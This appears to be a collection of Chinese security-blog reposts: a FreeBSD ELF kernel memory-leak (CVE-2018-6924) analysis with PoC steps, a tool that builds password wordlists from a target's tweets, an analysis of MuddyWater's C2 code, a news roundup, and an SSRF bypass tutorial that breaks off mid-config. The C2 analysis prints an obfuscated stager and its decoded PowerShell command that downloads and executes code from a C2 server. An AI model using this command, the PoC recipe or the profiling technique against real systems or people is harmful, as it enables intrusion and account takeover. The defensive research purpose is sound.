CVE-2018-6924:解析FreeBSD ELF 头导致内核内存泄露
Alpha_h4ck 2019-9-21 5:0 转存

在FreeBSD-SA-18:12这份安全公告中,FreeBSD修复了一个内核内存泄漏漏洞,该漏洞会影响相关操作系统的所有版本。这个漏洞就是这篇文章的主人公:漏洞CVE-2018-6924,由于FreeBSD内核在解析代码指向的ELF头时,缺少有效验证,此时的本地非特权用户就可以利用该漏洞查看内核内存的数据了。

漏洞补丁分析

跟往常一样,安全公告中包含了补丁源码的链接,我们先来看一看相关的补丁代码:

---sys/kern/imgact_elf.c.orig

+++sys/kern/imgact_elf.c

@@-839,7 +839,8 @@

            break;

        case PT_INTERP:

            /* Path to interpreter */

-                   if (phdr[i].p_filesz >MAXPATHLEN) {

+                   if (phdr[i].p_filesz < 2||

+                       phdr[i].p_filesz >MAXPATHLEN) {

                uprintf("InvalidPT_INTERP\n");

                error = ENOEXEC;

                goto ret;

@@-870,6 +871,11 @@

            } else {

                interp = __DECONST(char *,imgp->image_header) +

                    phdr[i].p_offset;

+                           if(interp[interp_name_len - 1] != '\0') {

+                                  uprintf("Invalid PT_INTERP\n");

+                                   error =ENOEXEC;

+                                   goto ret;

+                           }

            }

            break;

        case PT_GNU_STACK:

---sys/kern/vfs_vnops.c.orig

+++sys/kern/vfs_vnops.c

@@-528,6 +528,8 @@

    struct vn_io_fault_args args;

    int error, lock_flags;

+   if (offset < 0 && vp->v_type!= VCHR)

+           return (EINVAL);

    auio.uio_iov = &aiov;

    auio.uio_iovcnt = 1;

aiov.iov_base = base;

这里有两处修改:sys/kern/imgact_elf.c和sys/kern/vfs_vnops.c。sys/kern/imgact_elf.c文件中包含了内核用于解析执行代码ELF头的代码,修复后的函数如下:

776 static int

777 __CONCAT(exec_, __elfN(imgact))(struct image_params *imgp)

778  {

       [...]

受影响函数的名称是由__CONCAT和__elfN macros. __CONCAT生成的,它由这两个参数组成,__elfN在sys/sys/elf_generic.h中定义:

函数名__CONCAT(exec_, __elfN(imgact))可以扩展成exec_elf32_imgact或 exec_elf64_imgact,具体取决于__ELF_WORD_SIZE定义为32还是64。但是在查看sys/kern/源目录后,我们可以看到两个名叫imgact_elf32.c和imgact_elf64.c的小型文件,它们负责给__ELF_WORD_SIZE定义适当的值,然后引入存在漏洞的文件kern/imgact_elf.c。此时,内核会包含两个版本的sys/kern/imgact_elf.c(中的函数),而这些函数名都是使用__elfN宏来构建的:其中一个版本负责处理32位ELF代码,另一个版本负责处理64位版本的ELF文件。

imgact_elf32.c:

#define__ELF_WORD_SIZE 32

#include<kern/imgact_elf.c>

imgact_elf64.c:

#define__ELF_WORD_SIZE 64

#include<kern/imgact_elf.c>

回到补丁代码上,很明显问题出在处理ELF文件的PT_INTERP程序头上:

static int

__CONCAT(exec_,__elfN(imgact))(struct image_params *imgp)

{

    [...]

    for (i = 0; i < hdr->e_phnum; i++) {

        switch (phdr[i].p_type) {

        [...]

        case PT_INTERP:

            /* Path to interpreter */

            if (phdr[i].p_filesz >MAXPATHLEN) {

                uprintf("InvalidPT_INTERP\n");

                error = ENOEXEC;

                goto ret;

            }

            [...]

PT_INTERP程序头包含程序解析器的路径名称,它只对于可执行文件才有意义,PT_INTERP程序头指向可执行文件时使用的是动态链接,并负责给动态链接的可执行程序加载所需的共享库。一般来说,FreeBSD的程序解析器会在/libexec/ld-elf.so.1中设置。

下面给出的是一个针对32位ELF文件的特殊版本Elf_Phdr结构体:

typedef struct {

    Elf32_Word      p_type;         /* Entry type. */

    Elf32_Off       p_offset;       /* File offset of contents. */

    Elf32_Addr      p_vaddr;        /* Virtual address in memory image. */

    Elf32_Addr      p_paddr;        /* Physical address (not used). */

    Elf32_Word      p_filesz;       /* Size of contents in file. */

    Elf32_Word      p_memsz;        /* Size of contents in memory. */

    Elf32_Word      p_flags;        /* Access permission flags. */

    Elf32_Word      p_align;        /* Alignment in memory and file. */

}Elf32_Phdr;

旧版本代码只会检测“if phdr[i].p_filesz > MAXPATHLEN”,如果条件判断为真,函数便会抛出ENOEXEC异常,而修复后的代码添加了额外的检测。

构建PoC

为了触发漏洞,我们需要让我们的ELF填充至一个单独的页面中,C伪代码如下:

int main(int argc, char** argv){

    return argc;

}

然后使用clang指令和-m32参数生成一个32位可执行程序,并添加-Oz-Wl和-s参数来让文件大小尽可能的小(不超过4096个字节)。

% clang -Oz -Wl,-s -m32 test.c -o test

下面是我们构建的PT_INTERP相关代码:

840                 case PT_INTERP:

[...]

852                         interp_name_len =phdr[i].p_filesz;

853                         if (phdr[i].p_offset> PAGE_SIZE ||

854                             interp_name_len> PAGE_SIZE - phdr[i].p_offset) {

855                                VOP_UNLOCK(imgp->vp, 0);

856                                 interp_buf =malloc(interp_name_len + 1, M_TEMP,

857                                     M_WAITOK);

858                                vn_lock(imgp->vp, LK_EXCLUSIVE | LK_RETRY);

859                                 error =vn_rdwr(UIO_READ, imgp->vp, interp_buf,

860                                    interp_name_len, phdr[i].p_offset,

861                                    UIO_SYSSPACE, IO_NODELOCKED, td->td_ucred,

862                                     NOCRED,NULL, td);

863                                 if (error !=0) {

864                                        uprintf("i/o error PT_INTERP\n");

865                                         gotoret;

866                                 }

867                                interp_buf[interp_name_len] = '\0';

868                                 interp = interp_buf;

869                         } else {

870                                 interp =__DECONST(char *, imgp->image_header) +

871                                    phdr[i].p_offset;

872                         }

873                         break;

我们可以看到第853行和第854行,如果解析器路径字符串的文件偏移量位于第一个页面(phdr[i].p_offset > PAGE_SIZE),或者解析器路径足够长到超出第一个页面(interp_name_len > PAGE_SIZE – phdr[i].p_offset),那么vn_rdwr()函数将会被调用,并读取ELF文件对应的vnode。

触发该漏洞的关键时p_offset成员不超过0×1000,并且解析器路径字符串的长度不会超过PAGE_SIZE – phdr[i].p_offset。那么触发该漏洞的关键就是,我们需要构造一个PT_INTERP程序头,并包含p_offset成员值0×1000,然后还要让p_filesz成员的值为0。我们这里使用了Kaitai WebIDE来构建了我们所需的东西:

披露内核数据

exec_elf32_imgact()函数会调用elf32_load_file()函数来加载解释器,目标文件名路径包含在interp变量中:

1036                if (interp != NULL) {

1037                        have_interp = FALSE;

[...]

1058                        if (!have_interp) {

1059                                error =__elfN(load_file)(imgp->proc, interp, &addr,

1060                                   &imgp->entry_addr, sv->sv_pagesize);

1061                        }

1062                        vn_lock(imgp->vp,LK_EXCLUSIVE | LK_RETRY);

1063                        if (error != 0) {

1064                               uprintf("ELF interpreter %s not found, error %d\n",

1065                                    interp,error);

1066                                goto ret;

1067                        }

运行修改后的ELF文件后,我们可以看到它将会窃取内核内存中的内容:

francisco@freebsd112:~% ./poc1

ELFinterpreter Ø3¤ not found, error 2

Abort

francisco@freebsd112:~% ./poc1

ELFinterpreter  not found, error 2

Abort

francisco@freebsd112:~% ./poc1

ELFinterpreter $ûÿÿl not found, error 2

Abort

francisco@freebsd112:~% ./poc1

ELFinterpreter ^?ELF^A^A^A  not found, error2

Abort

获取不可打印的输出

下面的代码段可以利用该漏洞获取内核内存中75个字节的十六进制导出数据:

francisco@freebsd112:~% script -q capture1 ./poc1

ELFinterpreter ?^[(^[(?^[(?^[(^[(^Z(^Z(^Z(^Z(^[(17^[(5^[(^[(^[(^[(  not found, error 2

francisco@freebsd112:~% hexdump -C capture1

00000000  70 6f 63 31 3a 0d 0a 45  4c 46 20 69 6e 74 65 72  |poc1:..ELF inter|

00000010  70 72 65 74 65 72 20 c5  83 5e 5b 28 cc 83 5e 5b  |preter ..^[(..^[|

00000020  28 d4 83 5e 5b 28 dc 83  5e 5b 28 98 83 5e 5b 28  |(..^[(..^[(..^[(|

00000030  d8 d1 5e 5a 28 e2 d1 5e  5a 28 fe e5 5e 5a 28 9c  |..^Z(..^Z(..^Z(.|

00000040  bf 5e 5a 28 e3 83 5e 5b  28 31 37 5e 5b 28 35 ba  |.^Z(..^[(17^[(5.|

00000050  5e 5b 28 e6 83 5e 5b 28  e9 83 5e 5b 28 f2 83 5e  |^[(..^[(..^[(..^|

00000060  5b 28 20 6e 6f 74 20 66  6f 75 6e 64 2c 20 65 72  |[( not found, er|

00000070  72 6f 72 20 32 0d 0a 70  6f 63 31 3a 20 73 69 67  |ror 2..poc1: sig|

00000080  6e 61 6c 20 36 0d 0a                              |nal 6..|

00000087

* 参考来源:quarkslab,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

原文阅读

使用NLP生成个性化的Wordlist用于密码猜测爆破
secist 2019-9-21 4:0 转存

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径

我编写了一个名为Rhodiola的工具,该工具可以分析目标数据(例如目标的tweets),并检测其中最常用的主题,以此来构建一个用于密码猜测/暴破的个性化的Wordlist。这是一个为密码猜测攻击创建新方法的实验性项目。

介绍

密码可以说是自互联网诞生以来,我们数字帐户的最主要的一种安全机制。因此,密码往往也是攻击者的首要目标之一。攻击者可以使用两种主要方法来查找目标的密码。攻击者可以事先准备好一个钓鱼网站,诱骗目标输入他们的密码到网站中。或者,攻击者可以通过暴破的方式强制执行密码猜测攻击。密码猜测攻击可以分为两大类:在线攻击和离线攻击。

在线密码猜测攻击是攻击者将用户名/密码组合发送到HTTP,SSH等服务的地方,并尝试通过检查服务的响应来识别正确的组合。离线密码猜测攻击通常是针对散列形式的密码进行的。攻击者必须使用合适的加密散列函数计算密码的散列,并将其与目标散列进行比较。对于在线和离线攻击,攻击者通常都需要有一个密码wordlist。大多数Web应用程序都有密码复杂性规则,用户必须使用至少一个数字,大写/小写字母和特殊字符。此外还有许多预防措施,例如IP阻止,账户冻结等。因此,减少攻击次数对攻击者来说非常重要。

掩码攻击

掩码攻击是将暴破池减少到可接受大小的主要方法之一。掩码攻击是指指定一个固定的密码结构,并根据该结构生成候选密码。例如,使用纯暴破的方法破解“Julia1984”,我们需要计算13.537.086.546.263.552个不同的组合。但是如果我们设置一个具有其结构的掩码,我们可以将组合池减少到237.627.520.000。当然,这对于在线攻击来说仍然是个天文数字。通常我们是无法通过互联网向应用程序发送两千亿次请求的。

Sherlock 的方法

但是,纯暴力攻击和掩码攻击并不是密码猜测的唯一方法。还有一种基于智能猜测的方法。例如,在Sherlock的Hound of Baskerville episode中,Sherlock Holmes一次就猜中了正确的密码。但在现实生活中我们怎么能做到呢?

让我们假设以上是目标发送的tweet,而我们就是Sherlock Holmes。我们可以做出以下推断:目标的女儿叫Julia,并且目标非常爱她的女儿,因为他/她发布了关于她的推文。目标最喜欢的作家是George Orwell,他最受欢迎的书是1984。所以把它们组合起来,就是“Julia1984”,就这么简单?

根据卡内基梅隆大学和卡尔顿大学的实验,大多数人都会根据个人爱好,工作,宗教,体育,电子游戏等主题来作为他们的密码组合。[1][2]这意味着大多数用户密码都包含有意义的单词,并且与密码的所有者相关。所以在理论上,我们可以成为一个密码破解的sherlock holmes。让我们来验证一下。

Myspace 和 Ashley Madison Wordlists 分析

当我们用PACK(密码分析和破解工具包)分析泄露的Myspace和Ashley Madison密码列表并生成最常用的掩码时,我们可以看到几乎95%的密码是由序列的字母字符组成的。所以这些词很有可能都是有意义的。以下是一些常见的掩码:

?l?l?l?l?l?l: 7%

?l?l?l?l?l?l?l?l: 7%

?l?l?l?l?l?l?l: 6%

?l?l?l?l?l?l?d?d: 4%

?l?l?l?l?l?l?l?l?l: 4%

由于Ashley Madison和Myspace的wordlists大多数都是由序列的字母字符组成,因此它们很有可能是有意义的单词。如果它们是有意义的,我们就可以使用有意义的词来填充掩码,而不是强制的暴力破解。第一步是了解字母序列在英语中是否是一个有意义的单词。如果字母序列在英语词典中列出,我们就可以说它是一个英语单词。我用Wordnet作为词典。分析显示,几乎百分之四十的单词列表都包含在Wordnet词典中,因此它们是有意义的英语单词。

在确认Wordnet中包含字母序列后,因此它是一个英语单词,我们需要做词性标记(POS标记)。英语中有八大词类:名词、代词、动词、形容词、副词、介词、连词和感叹词。词性标注是将文本中的一个词标记为与特定词性相对应的过程。NLTK Python库用于POS标记。

为了了解哪个词类在密码中出现的最多,我们再次分析了Myspace和Ashley Madison的wordlists。用于分析的脚本代码你可以在此处获取。结果显示大多为单数名词(约占32%)

如果我们使用牛津英语词典中的所有单词,则组合池将为171,476。如果我们使用“?l?l?l?l?l?l”掩码暴破所有六字符字母的字符串,组合池将为308.915.776。 因此,尝试词典中的所有英语单词将比使用掩码快1801倍。但是对于在线攻击来说,171,476仍然是一个很大的数字。

Sherlock 的方法(再次)

那么让我们回顾一下迄今为止我们已掌握的事实。首先,我们的分析显示人们偏向使用有意义的单词作为他们的密码。第二,根据各大学的研究,我们知道密码主要基于个人主题。因此,Sherlock Holmes的方法在理论上是可行的。但这能在实践中做到吗?Sherlock Holmes所做的是分析关于目标的个人主题。然后,他将这些组合在一起并想出了一个候选密码。

但在现实生活中我们能做到吗?为此,我们需要有关目标的信息和从该信息中提取出候选密码的算法。我们需要像Sherlock Holmes那样的目标数据源,我们可以找出目标的兴趣爱好和其他兴趣领域。显然,这些信息我们可以在一些社交媒体找到,例如在Twitter上人们就倾向于撰写关于他们的兴趣爱好和其他兴趣领域的帖子。由于tweets存在字符限制,因此用户会更专注地写东西。这也使得我们的信息收集工作变得轻松。免去了我们可能需要处理大型/乱码文本的过程。因此,让我们使用Twitter作为我们的数据源,并尝试构建我们的个性化wordlist生成算法。

算法构建

下载和清洗 Tweet 数据

首先,我们需要通过Twitter的API从目标收集推文。由于我们的目标是识别用户的个人主题并生成相关的单词,因此我们需要从下载的推文中删除不必要的数据(停用词)。NLTK的stopwords扩展和自定义列表都被使用。列表包含高频词,如“the,a,an,to,that,i,you,we,they”。这些字在处理数据之前被删除。我们还删除了动词,因为密码大多包含名词。

识别最常用的名词和专有名词

上面我们分析过,几乎32%的用户密码都包含单数名词。因此,我们的第一个目标是确定最常用的名词和专有名词。用户最感兴趣的主题可以用它们来识别。用NLTK的词性标记功能来识别最常用的名词和专有名词。例如上面的tweet,名词是:作者和女儿。专有名词是:George Orwell 和 Julia。

配对相似词

在某些情况下,名词可以一起使用。 要创建有意义的单词对,我们需要分析它们的语义相似性。 为此,NLTK的路径相似性[16]与Wordnet上的第一个名词含义(n.01)一起用于所有已识别的名词。路径相似性基于在is-a(上位词/下位词)分类法中连接的最短路径,返回表示两个词有多相似的分数。得分在0到1的范围内。如果相似度得分高于0.12,我们的算法就可以对它们进行配对。

查找相关的辅助词

研究人员发现密码中最常用的语义主题是位置和年份。因此,应该能找到与用户兴趣领域相关的位置和年份。wiki被用于这两项工作。我们的算法访问每个专有名词的wiki页面,用正则解析年份,并使用其硬编码城市列表识别城市名称。在上面的示例推文中,当我们向wiki发送“George Orwell”时,我们的算法将解析诸如London,1984等词。

组合

最后一步是整合我们所有获取的数据。从示例Tweet中我们获取到了George Orwell这个专有名词,我们将它发送到wiki,它返回给我们了1984。除此之外,我们还有另一个专有名词Julia。所以,当我们把所有的数据组合在一起时,我们的单词列表中的某个地方就会有正确的密码“Julia1984”。因此,我们可以像Sherlock Holmes一样破解密码,而不是面对那数以百万计的组合。

Rhodiola

Rhodiola是用Python 2.7编写的,主要基于NLTK和textblob库。通过一个给定的Twitter句柄(如果你没有,你也可以用你自己的数据。请查看Github页面了解有关详情),它可以自动编译一个包含以下元素的个性化wordlist:最常用的名词和专有名词,配对名词和专有名词,与检测到的专有名词相关的城市和年份。 例如:

有关其详细用法,请查看Github页面:https://github.com/tearsecurity/rhodiola

总结

由于人们更倾向于使用他们感兴趣领域的单词来作为其密码组合,并在Twitter上公开这些兴趣领域,因此攻击者可以通过分析目标的推文来创建针对性的wordlist。除了Twitter之外,任何其他的社交媒体平台都有可能成为攻击者精准创建wordlist的有效数据来源。因此,用户应避免使用社交媒体中公开主题中的单词。最好使用存储在密码管理器中的随机密码。

*参考来源:utkusen,FB小编secist编译,转载请注明来自FreeBuf.COM

原文阅读

污水攻击MuddyC3开源代码分析
DigApis 2019-9-21 1:0 转存

免责声明

本文作者竭力保证文章内容可靠,但对于任何错误、疏漏或不准确的内容,作者不负任何责任。文章部分内容来源于网络是出于传递更多信息的目的,对此不负任何法律责任。本文仅用于技术分享与讨论,严禁用于其他用途。

前言

MuddyWater是一个伊朗威胁组织,主要针对中东、欧洲和北美国家。该组织针对的目标主要是电信,政府(IT服务)和石油部门。众多安全研究机构针对muddywater的样本进行了深入的研究。2019年6月24日,名为0xffff0800的用户在twitter上发表推文表示,其开源了污水攻击的python版代码。本文就该代码,一窥muddywater的攻击过程。

该用户在github上开源的代码有两个版本,本次我们分析的是1.0.1版本。

整体结构

MuddyC3的整体C2通信结构图如上所示:

整个通信过程有三个要素,即攻击端、C2网站和目的主机。其中C2网站指的是被攻击者拿到控制权限的web网站。C2网站可能不止一个。攻击过程中,攻击者将攻击指令以powershell代码的形式注入C2网站,被感染的目的主机主动向C2网站发送http请求,得到攻击命令,调用powershell接口执行命令。

APT攻击分三个阶段进行,分别是:(1)感染;(2)C2通信;(3)信息泄漏。本文中我们直接将恶意程序部署在目标主机上,因此感染阶段略去不提。值得注意的是,真实场景中,污水攻击感染过程通过传播宏病毒展开。目标主机感染宏病毒后会进行修改注册表等操作。

一、服务端

1.1服务端运行

运行muddyc3.py文件

需要输入ip、端口和是否需要代理输入完成后进入命令界面(见1.1.6help命令)

1.1.1 list命令

用来列举agent信息,列举结果示意如下:

1.1.2 show命令

目前尚未开发。

1.1.3 use命令

use命令后需要agent id作为参数,命令格式为:

use id

命令结果是进入id下的命令界面:

在该界面发出命令,相应命令分析见2.2.2节。以/get命令为例:

1.1.4 payload命令

payload命令列举出目前服务端程序中已有的powershell注入命令。

1.1.5 back命令

1.1.6 help命令

1.1.7 exit命令

exit命令结束客户端程序。

1.2参数分析

通过分析core.cmd.py文件,得出AGENTS字典中每个元素的结构如下:

角标 参数 归属
* id key值
0 ExternalIP data
1 id data
2 status data
3 os data
4 InternalIP data
5 Arch data
6 ComputerName data
7 UserName data

AGENT是一个’id:data’形式的字典,其中data格式如下:

角标 参数
0 id
1 status
2 Internal IP
3 OS
4 Arch
5 Computer Name
6 User Name

在core.webserver.py文件中,url访问功能分类如下:

编号 类别 表示方法 get/post 功能或结果
1 index / get 返回‘hello’
2 payload /get get 返回‘config/PAYLOAD()’
3 payloadc /getc get 返回‘toB52(config/PAYLOAD())’
4 payloadjf /hjf get 返回C://ProgramData下a.zip和b.ps1
5 payloadjfs /hjfs get 返回C://ProgramData下sct.ini
6 sct /sct get 返回ps1文件
7 mshta /hta get 返回ps1文件
8 info /info/~ post 查询id,若不存在则在AGENTS中添加
9 download /dl/~ post 从服务端指定路径下载文件
10 upload /up 暂不支持该功能
11 img /img/~ post 得到相关img
12 command /cm/~ get 得到‘config.COMMAND[id]’中的命令
13 result /re/~ post 得到指定id主机的data
14 modules /md/~ post 添加模块

1.3webserver分析

运行后可以访问之前输入的C&C地址

访问index路径,即192.168.11.193:1234

访问get路径,得到payload

访问/getc路径得到payload的base64编码,另有/hjf、/hjfs路径与此相似

访问download路径

访问/info,由于info使用post包,

调整AGENTS和post请求包body结构后,结果如下:

第二次添加

访问info路径的post请求组成:

二、客户端

2.1客户端运行

python脚本中运行powershell命令,会出现安全问题

以管理员身份运行powershell,

2.2客户端流程

2.2.1访问/info

客户端开启后,首先访问/info进行注册,注册用id在本地是以随机数形式确定,然后向服务端发送post包。客户端首先向服务端询问对应id是否存在,若存在则服务端返回‘NONE’,客户端重新选取随机数进行注册直至成功。注册成功后,客户端反馈:

2.2.2访问/cm

带id访问/cm接口,访问/cm/[id],取得服务端发送的控制命令,控制命令组成如下:

编号 表示 意义
1 /get 访问/get接口
2 /getc 访问/getc接口
3 /hjf 访问/hjf接口
4 /hjfs 访问/hjfs接口
5 /sct 访问/sct接口
6 /hta 访问/hta接口
7 dl 访问/dl接口
8 /up 访问/up接口
9 /img 访问/img接口
10 /md 访问/md接口
11 其他 其他powershell可以直接执行的命令

服务端顺序发出了三个命令:

客户端取命令:

由此可见客户端取命令时按服务端下命令的顺序,一次取一个,取完之后所有命令后,再访问/cm/[id],得到的数据为空

2.2.3访问/re

客户端取出命令后执行,然后在/re/[id]接口返回执行结果。服务端的显示:

客户端的显示:

三、powershell命令分析

污水攻击的命令均以powershell方式执行,接下来我们跟随服务端给出的顺序来分析powershell命令。首先,服务端启动时,给出的网址为:

mshta http://192.168.11.193:1234/hta

访问hta:得到的js代码为:

var es = '%gk{dmFyI!~tPSJw,3dlcn~oZW-sI%1le!VjI!J5c!FzcyAtdyA-I%1jI%RWPW5ldy1vYmplY3Qg,mV0LndlYm~s[WVud@skVi5wc**4eT1,TmV0LldlYlJlcXVlc3Rd}jp$ZXRTeX~0ZW1XZWJQc**4eSgp}yRWLlBy,3h5Lk~yZWRl,nRpYW-zPVt}ZXQuQ3JlZ!Vud!lh,*~hY2hlXTo6R!VmYXVsd*~yZWRl,nRpYW-z}0lFW%gkVi5k,3du,!9hZ$~0cmluZygn[$R0c@ovLz*5Mi4-~jguMT*uMTkz}j*yMzQvZ2V0Jykp}yI7%nZhciB3MzJwcz0gR2V0T2JqZW~0{%d3[W5tZ210czon{S5$ZXQoJ1dp,jMyX1By,2~lc3~Td!Fyd$VwJyk7%nczMnBzLl~wYXduSW5zd!FuY2Vf{%k7%nczMnBzLl~o,3dX[W5k,3c9M@s{dmFyI$J0cm5@,2RlPUdld*9i[mVjd%gnd2lu,Wdtd$M6JykuR2V0{%dX[W4zMl9Qc**jZX~zJykuQ3JlYXRl{!~tL%dj}l-cJy-3MzJwcy-udW-s{Ts{';
eval(bas(es))

其中对es变量做了如下混淆:

string = replaceAll(']','=',string);
      string = replaceAll('[','a',string);
      string = replaceAll(',','b',string);
      string = replaceAll('@','D',string);
      string = replaceAll('-','x',string);
      string = replaceAll('~','N',string);
      string = replaceAll('*','E',string);
      string = replaceAll('%','C',string);
      string = replaceAll('$','H',string);
      string = replaceAll('!','G',string);
      string = replaceAll('{','K',string);
      string = replaceAll('}','O',string);
      var characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
      var result     = '';

解混淆后得到的js代码如下:

var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://192.168.11.193:1234/get'));";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:\\',w32ps,null);

在powershell中执行后,向http://192.168.11.193:1234/get发get请求,得到已经存在于服务端的payload.ps1文件的内容,但是由于payload.ps1没有开源,所以powershell的解析不能继续向下进行。

四、流量分析

捕获本地流量如下:

目的端口是在服务端输入指定,源端口随机。

(本次实验中指定的目的端口为1234,源端口从9141开始,每个包累加)

五、污水攻击特点总结

5.1心跳周期

被控端定期向主控端发出get请求,查看是否有新的命令。

http://192.168.11.193:1234/cm/[id]

5.2 http请求成对出现

一次取命令对应一次命令执行结果回传。

http://192.168.11.193:1234/cm/[id]

http://192.168.11.193:1234/re/[id]

5.3云控下发powershell脚本

传统远控采取命令约定方式,主控端向被控端发送命令代码,被控端在后门代码中匹配成功然后执行。

而污水攻击不再使用命令代码,而是就地采用被控端本地现有工具powershell,将命令以高度混淆的powershell形式下发,这样做保证了样本即使被捕获,恶意活动不会暴露、C2服务器不会被溯源。

5.4可滥用web2.0网站作为信息传输中介

任何主机可以不经注册访问网站,向网站发出http请求。

污水攻击利用的web2.0网站的服务器是攻击者控制的,因此有被溯源的风险。

5.5协议:http

明文不加密。

相关链接

【1】开源代码地址:https://github.com/0xffff0800/MuddyC3v1.0.1-

【2】muddywater相关介绍:https://attack.mitre.org/groups/G0069/

*本文作者:BUPT/Yoni,转载请注明来自FreeBuf.COM

原文阅读

BUF大事件丨拍照比“剪刀手”会泄露指纹信息;美国司法部指控斯诺登新书违反保密合同;iOS 13再曝漏洞:iPhone锁屏也会被窃取信息
Darry端 2019-9-21 0:0 转存

本周BUF大事件还是为大家带来了新鲜有趣的安全新闻,网络安全专家称拍照比“剪刀手”会泄露指纹信息;美国司法部指控斯诺登新书违反保密合同;iOS 13再曝漏洞:iPhone锁屏也会被窃取信息;国家计算机病毒中心发布违规APP和SDK名单;电信诈骗手段翻新:制作“安全防护”冒充北京警方App。想要了解详情,来看本周的BUF大事件吧!

观看视频

内容梗概

网络安全专家称拍照比“剪刀手”会泄露指纹信息

9月15日上午,在2019年国家网络安全宣传周上海地区活动中,有专家指出:拍照时1.5米内拍摄的剪刀手照片能100%还原出被摄者的指纹,只有超过3米拍摄的照片才难以提取其中的指纹。指纹信息通过照片被提取后通过专业材料制作成指纹膜,可被不法分子用于各种通过指纹技术来识别身份的渠道。不过专家表示,由于指纹识别技术、聚焦等难题,公众无需过度担心。

剪刀手4444.jpg

美国司法部指控斯诺登新书违反保密合同

9月17日,美国司法部起诉斯诺登,指控他出版的书中内容违背了此前与情报机构签署的保密合同。诉讼称,根据协议,如果包含情报信息,斯诺登应该在出版前将作品提交给机构审查,得到各机构的书面批准才能出版。此前,斯诺登作为美国国家安全局的一名承包商和中央情报局员工,被指控从事间谍活动和盗窃政府财产,现流亡在俄罗斯。斯诺登本周在接受CBS采访时表示,他希望回到美国,但前提是得到公平的审判。 

22222 斯诺登新书违反保密合同.jpg

iOS 13再曝漏洞:iPhone锁屏也会被窃取信息

近期,一位安全研究人员发布了一段YouTube视频显示他在现有的iOS 13系统中发现的漏洞:通过进行FaceTime呼叫,然后启用Siri VoiceOver功能,iPhone用户便可以访问电话所有者的联系人列表。这可以为黑客提供包括电话号码,电子邮件地址,街道地址等个人信息而无需解锁设备。 

iOS13裁.jpg

国家计算机病毒中心发布违规APP和SDK名单

9月15日,国家计算机病毒中心发布了《移动APP违法违规问题及治理举措》,其中APP(应用程序)和SDK(软件开发工具包)存在的六大类问题,包括远程控制、恶意扣费等八大类恶意行为、涉嫌侵犯公民个人隐私、涉嫌超范围采集公民个人隐私等。陌陌(版本8.18.7)、今日头条(版本7.2.7)、京东金融 (版本: 5.2.32)、云闪付(版本: 6.2.6)等下载量很高的应用也名列其中。 

违规APP和SDK名单1裁.jpg

电信诈骗手段翻新 制作“安全防护”冒充北京警方App

近期,有一款名为“安全防护”的软件冒充北京警方的官方App。该App与“冒充公检法”的电话捆绑出现,页面中有各大银行的标识,并写着“网银加密”,迷惑市民输入银行卡信息。该App无法在应用商店下载,只能通过链接下载。对此,北京警方提示,遇到可疑电话不要轻信,更不要下载不明App进行操作,要尽快拨打110核实情况。 

* 本文作者:Darry端,FreeBuf视频组荣誉出品,转载须注明来自FreeBuf.COM

原文阅读

使用Xray反连平台挖掘和验证SSRF
virusdefender 2019-9-21 0:0 转存

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作正确的过滤和限制 [1]。

目标是什么

在 https://github.com/virusdefender/ssrf-app 提供了一个 ssrf 的实例程序,docker-compose build && docker-compose up 之后,浏览器访问 http://vuln.net:8000/?url=http://example.com,系统就会抓取指定的地址的网页并返回,就可以看到和直接访问 http://example.com 一样的页面。

要注意的是,vuln.net 是我绑定的 host 到 docker 容器的 IP,我使用的 docker for mac,ip 为 127.0.0.1,这其实是经过端口转发的,后端服务器实际并不在我本地,这里可以看实际情况去修改。

另外已知在 /api/internal/secret 上存放了一个 secret api 服务,目标就是去访问它然后获取 secret,直接访问当然是不行了,会提示 IP 不在允许范围内。

首先的思路就是使用抓取网页的 api 去访问 secret api,所以先尝试将 url 参数换成内网 IP,然后访问查看。

直接访问 127.0.0.1 和使用 localhost 域名

第一个尝试的当然是 127.0.0.1,但是访问 http://vuln.net:8000/?url=http://127.0.0.1:8000 却提示 127.0.0.1 is forbidden,尝试使用 localhost 域名绕过,也是同样的提示,怀疑后端有尝试去解析 ip 然后做验证。

尝试扫内网吧

如果更换为其他的内网 ip,会提示连接超时 HTTPConnectionPool(host=’192.168.1.1′, port=8000): Max retries exceeded with url: / (Caused by ConnectTimeoutError(, ‘Connection to 192.168.1.1 timed out. (connect timeout=2)’)),当然这也是探测内网 ip 和端口是否存在的一种特征。但是经过尝试,常见的 IP 和端口都是超时的,服务器应该是没有内网的(此处应该写一个脚本去扫描更多的 IP 和端口)。所以重点就在于如何绕过对 127.0.0.1 的限制了。

看看 IPv6

首先是尝试使用 IPv6 去绕过,访问 http://vuln.net:8000/?url=http://[::1]:8000,如果服务器监听了 IPv6 的地址,就可以绕过,因为访问的确实不是 127.0.0.1。但是经过测试发现还是报错,[Errno -2] Name or service not known,可能后端有一些函数是不支持 IPv6 的,像是将 [::1] 按照一个域名去解析了,所以这条路走不通了。

30x 跳转也许可以

接下来是利用 30x 跳转去绕过,因为看上面的报错信息,后端应该是 Python,Python 的 requests 等库都是默认允许跳转的,如果可以提供一个非 127.0.0.1 的 url,然后访问的时候返回一个 302 跳转到 127.0.0.1 上去就可以了。我们需要一个可以方便的自定义 http response 的平台,一种思路就是配置一个 Nginx,结合配置文件或者 Lua 脚本可以完全的实现各种自定义,但是稍有些麻烦,这时候我们就应该请出 xray 自带的反连平台了,它可以方便的在网页上配置我们期望的东西。

使用 xray 自带的反连平台

如何配置

首先去 GitHub 下载最新的 xray 二进制文件,然后运行 ./xray help 让 xray 生成一个默认的配置文件 cofig.yaml。我们需要在这个配置文件中配置反连平台的一些参数,默认是配置如下。

reverse:
  db_file_path: "./xray.db"
  token: ""
  http:
    enabled: true
    listen_ip: 127.0.0.1
    listen_port: ""
  dns:
    enabled: false
    listen_ip: 127.0.0.1
    domain: ""
    # 静态解析规则
    resolve:
